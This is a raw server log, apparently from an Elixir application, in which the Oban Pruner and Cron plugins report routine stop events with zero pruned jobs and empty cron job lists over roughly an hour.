[info] {"source":"oban","duration":1146,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:00.431 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:20:14.526 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:44.528 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:00.432 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:21:14.530 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:44.532 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:00.433 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:22:14.534 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:44.536 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:00.434 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:23:14.538 [info] {"source":"oban","duration":1196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:44.540 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:00.435 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:24:14.542 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:44.544 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:00.436 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:25:14.546 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:44.548 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:00.437 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:26:14.550 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:44.552 [info] {"source":"oban","duration":1688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:00.438 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:27:14.555 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:44.557 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:00.439 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:28:14.559 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:44.561 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:00.440 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:29:14.563 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:44.565 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:00.441 [info] {"source":"oban","duration":191,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:30:14.567 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:44.569 [info] {"source":"oban","duration":1128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:00.442 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:31:14.571 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:44.573 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:00.443 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:32:14.575 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:44.577 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:00.444 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:33:14.579 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:44.581 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:00.445 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:34:14.583 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:44.585 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:00.446 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:35:14.587 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:44.589 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:00.447 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:36:14.591 [info] {"source":"oban","duration":1384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:44.593 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:00.448 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:37:14.595 [info] {"source":"oban","duration":1128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:44.597 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:00.449 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:38:14.599 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:44.601 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:00.450 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:39:14.603 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:44.605 [info] {"source":"oban","duration":1127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:00.451 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:40:14.607 [info] {"source":"oban","duration":992,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:44.609 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:00.452 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:41:14.611 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:44.613 [info] {"source":"oban","duration":1364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:00.453 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:42:14.615 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:44.617 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:00.454 [info] {"source":"oban","duration":248,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:43:14.619 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:44.621 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:00.455 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:44:14.622 [info] {"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:44.625 [info] {"source":"oban","duration":1064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:00.456 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:45:14.627 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:44.629 [info] {"source":"oban","duration":990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:00.457 [info] {"source":"oban","duration":237,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:46:14.631 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:44.633 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:00.458 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:47:14.635 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:44.637 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:00.460 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:48:14.639 [info] {"source":"oban","duration":1022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:44.641 [info] {"source":"oban","duration":1169,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:00.461 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:49:14.643 [info] {"source":"oban","duration":1090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:44.645 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:00.462 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:50:14.647 [info] {"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:44.649 [info] {"source":"oban","duration":1652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:00.463 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:51:14.651 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:44.653 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:00.464 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:52:14.655 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:44.657 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:00.465 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:53:14.659 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:44.661 [info] {"source":"oban","duration":1088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:00.466 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:54:14.663 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:44.665 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:00.467 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:55:14.667 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:44.669 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:00.468 [info] {"source":"oban","duration":222,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:56:14.671 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:44.673 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:00.469 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:57:14.675 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:44.677 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:00.470 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:58:14.679 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:44.681 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:00.471 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:59:14.683 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:44.685 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:00.472 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:00:14.687 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:44.690 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:00.473 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:01:14.692 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:44.694 [info] {"source":"oban","duration":1190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:00.474 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:02:14.696 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:44.698 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:00.475 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:03:14.700 [info] {"source":"oban","duration":1303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:44.702 [info] {"source":"oban","duration":1196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:00.476 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:04:14.704 [info] {"source":"oban","duration":1618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:44.706 [info] {"source":"oban","duration":1281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:00.477 [info] {"source":"oban","duration":177,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:05:14.708 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:44.710 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:00.478 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:06:14.712 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:44.714 [info] {"source":"oban","duration":1111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:00.479 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:07:14.716 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:44.718 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:00.480 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:08:14.720 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:44.722 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:00.481 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:09:14.724 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:44.726 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:00.482 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:10:14.728 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:44.730 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:00.483 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:11:14.732 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:44.734 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:00.484 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:12:14.736 [info] {"source":"oban","duration":1156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:44.738 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:00.485 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:13:14.740 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:44.742 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:00.486 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:14:14.744 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:44.745 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:00.487 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:15:14.748 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:44.750 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:00.488 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:16:14.753 [info] {"source":"oban","duration":1983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:44.755 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:00.489 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:17:14.757 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:44.759 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:00.490 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:18:14.761 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:44.763 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:00.491 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:19:14.765 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:44.767 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:00.492 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:20:14.769 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:44.771 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:00.493 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:21:14.773 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:44.775 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:00.494 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:22:14.777 [info] {"source":"oban","duration":1054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:44.779 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:00.495 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:23:14.781 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:44.783 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:00.496 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:24:14.785 [info] {"source":"oban","duration":1716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:44.788 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:00.497 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:25:14.790 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:44.792 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:00.498 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:26:14.794 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:44.796 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:00.499 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:27:14.798 [info] {"source":"oban","duration":1410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:44.800 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:00.500 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:28:14.802 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:44.804 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:00.501 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:29:14.806 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:44.808 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:00.502 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:30:14.810 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:44.812 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:00.503 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:31:14.814 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:44.816 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:00.504 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:32:14.818 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:44.820 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:00.505 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:33:14.822 [info] {"source":"oban","duration":1726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:44.825 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:00.506 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:34:14.827 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:44.829 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:00.507 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:35:14.831 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:44.833 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:00.508 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:36:14.835 [info] {"source":"oban","duration":1133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:44.837 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:00.509 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:37:14.839 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:44.841 [info] {"source":"oban","duration":1073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:00.510 [info] {"source":"oban","duration":174,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:38:14.843 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:44.845 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:00.511 [info] 